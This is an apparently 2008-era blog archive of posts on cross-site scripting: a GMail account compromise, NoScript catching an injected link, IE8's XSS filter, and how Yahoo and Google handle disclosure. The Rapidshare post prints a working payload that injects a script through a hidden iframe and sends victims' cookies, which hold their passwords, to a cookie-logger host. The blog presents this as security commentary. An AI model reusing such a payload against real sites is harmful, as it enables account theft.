Archive for the XSS Category

As you probably have heard, security expert Petko D. Petkov (pdp), founder of GNUCITIZEN, had his GMail account violated and raided.
He told me he did not believe it had been a classic man in the middle attack, as many of us speculated during the past days, and interviewed by Dan Goodin he blamed XSS:

In an email exchange, Petkov said he suspected his Gmail account was accessed through a cross-site scripting (XSS) flaw.

Perhaps, but that doesn't make sense to us. XSS exploits typically allow you to enter restricted parts of a website without the benefit of a password. Whoever broke into Petkov's account was able to archive an entire email spool into an mbox file. Without knowing his password, the attackers most likely would have had to archive all 2GB message by message.

It makes sense to me, though (even if I still bet on a MITM, since GMail has been secured against cookie leakages side-tracking HTTPS only very recently): if you combine any XSS vulnerability with the very handy automatic password completion offered by modern browsers, stealing credentials becomes absolutely trivial.

However, if Petko is right, a certain comment of his about NoScript, posted under an article about GMail attacks (!) almost one year ago, sounds totally ironic now ;)

Window Snyder, Mozilla's Chief Security Something-or-Other
An email I received yesterday night:

Hi,

I've been using NoScript with Firefox for a while (recommended by SANS), and today it paid off bigtime.
I got to work, started Firefox, and went to our homepage.
NoScript complained and I checked out the complaint at the bottom of the page. Our webpage had a link on it to sdo.1000mg.cn.
I started looking and found that we had the SQL injection attack currently featured at SANS:

http://isc.sans.org/diary.html?storyid=4844

NoScript found it first! You are a hero! Thanks.

Jeff E.
[Anonymized US Educational Site]

Then a quote from Ryan Naraine's Talking Firefox security with Mozilla’s Window Snyder:

There are discussions happening internally at Mozilla around adding NoScript functionality into the core browser.
“It’s a conversation we’re having. I’d love to see it in there.”

Oh Window, why didn't you tell me these sweet words when we were face to face in the romantic and adventurous land of Whistler?
I guess it's destiny, even Steve Ballmer had been too shy to declare his love ;)

As nktpro graciously told us, the latest of several XSS vulnerabilities affecting Rapidshare is still unpatched, one month after it had been reported to the site owners.
But what can you expect by people who stores both your username and password inside your cookie?
Yes, check it by yourself: a Rapidshare cookie is something like

user=12345-%36%37%38%39%30

.
In Javascript,

cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) "%" + (s.charCodeAt(0).toString(16)))

Therefore, for a given cookie, access credentials are just

var [login, pwd] = cookie.replace(/.*=/,'').split("-"), pwd = unescape(pwd);

This means that if I embed the following code on this blog post, or even better on the FlashGot homepage, visited by thousands of Rapidshare users, I own an insane lot of accounts in a blink:

var injection = "<script>(" + (function() {
new Image().src = "http://evil.hackademix.net/cookielogger/rapidshare/?c=" +
escape(document.cookie);
}) + ")()</scr" + "ipt>"
var iframe = document.body.appendChild(document.createElement("iframe"));
iframe.style.visibility = "hidden";
iframe.src = "http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22" +
encodeURIComponent(injection);

But luckily, no Rapidshare user would ever visit those shady p0rn/w4r3z sites... ;)

Update

Fixed on 6 Aug 2008.

I'm happy to learn that IE8 is going to implement a less ambitious version of a feature which NoScript users have enjoyed for more than one year now. The announcement posts seem not to notice the resemblances of "XSS Filter" with NoScript's Anti-XSS Protection, the most striking being their non-blocking approach: loading the target page in a "neutralized" form and emitting a warning as an info-bar, which doesn't require interaction and therefore doesn't necessarily interrupt user's workflow. But that's fine: in facts, under the hood, their filter looks quite less sophisticated than NoScript's InjectionChecker engine, as it is based on a limited blacklist, apparently targeted to the most common reflective XSS attack patterns as seen in proofs of concept:


The XSS Filter defends against the most common XSS attacks but it is not, and will never be, an XSS panacea. [...]
The fact that our filter effectively blocks the common "><script>"… pattern we see most frequently in Type-1 XSS attacks is inherently a step forward. Pushing that further and blocking other common cases of reflected XSS where possible, as the XSS Filter does, is extra goodness.
Caveats aside, it will be great to see the tens of thousands of publicly disclosed Type-1 XSS vulnerabilities indexed on sites like XSSed.com simply stop working in IE8.

And there I started smiling: you realize, guys, that those listed "on sites like XSSed.com" are not "XSS vulnerabilities" which will "stop working in IE8", but just minimal exploit test cases --

<script>alert("XSS")<script>

-- which can be refactored and obfuscated in endless ways to obtain the "IE8 compatible" certification. Yeah, it will be great to see.

Anyway, such a feature being deployed as a built in of a popular browser, rather than as an add-on for an awesome browser, will likely keep script kiddies busy for a while, maybe taking a filter evasion crash course. I just hope it won't give some site owners an alibi not to fix their bugs, though, putting a "This site is best viewed with IE8" badge near to their McAfee Hackersafe logo.

Final thought: echoing the news on his blog, RSnake did swiftly mention NoScript (thanks), but at the end of that post, calling for adoption of his own bright Content Restrictions idea, he forgot to say that one (experimental) implementation already exists... Do these cross-site scripting filters suppress legitimate cross-site references as well? ;)

Researcher NKTPRO does not like the way Yahoo! manages security reports.

Last year he discovered a XSS Vulnerability in Yahoo! Mail, allowing attackers to steal Yahoo! accounts. After asking for "para-legal" advice, he decided to do the right thing and go for responsible disclosure. Communication was described as "very good" in the beginning, but almost two months later it wasn't clear if the bug had been fully fixed yet, and no public acknowledgment of the problem nor credits to the reporter were given, anyway.

By contrast, Google maintains a dedicated communication channel for security researchers, is known to fix reported issues very timely and publicly thanks reporters.

Some weeks ago, NKTPRO found another XSS vulnerability affecting Yahoo! blogs, and this one was even worse: persistent, CSS-based and working with IE6, IE7 and Firefox 2 (unless NoScript was installed), it could enable attackers to build worms spreading through Yahoo! networks at a potentially very fast pace. Since our hero is apparently a nice guy, he decided to give Yahoo! a second chance, filing a responsible report again. But after waiting one month, frustrated by its counterpart's kind of expected (lack of) responsiveness, he gave up and went for full disclosure, greeted by the almost unanimous approval of his fellow sla.ckers.

After full disclosure, the one-month old bug has been fixed in 3 days.

"Full vs responsible disclosure" is a potentially endless debate, but here we can see two different "corporate styles", Yahoo!'s and Google's, eliciting different reactions from whitehat hackers and ultimately leading to different results:

  1. You can be open about your issues and your security processes, and "reward" reporters, not necessarily with money prizes, which may become dangerous when they feed an anonymous, uncontrolled vulnerability brokerage market. Most of these guys would just appreciate their name attached to your security page, for the glory and something interesting to add to their CV. In turn, you get valuable bug reports with practical proof of concepts, and a reasonable time frame to make your users safer and run regression tests.
  2. Or you can decide to discourage confidential reports, either by threatening legal consequences for "testers" or just refusing to give public credit on their findings. It can work once, but as soon as it's clear that responsible disclosure is not an option, you will be forced into tracking every each full disclosure forum out there and playing catch up in a rush because your vulnerabilities are already public and script kiddies may be busy with your users (good luck with code quality).

So, "big brother" concerns aside, do you feel safer with a Yahoo! Mail account or a GMail one?

Bad Behavior has blocked 3529 access attempts in the last 7 days.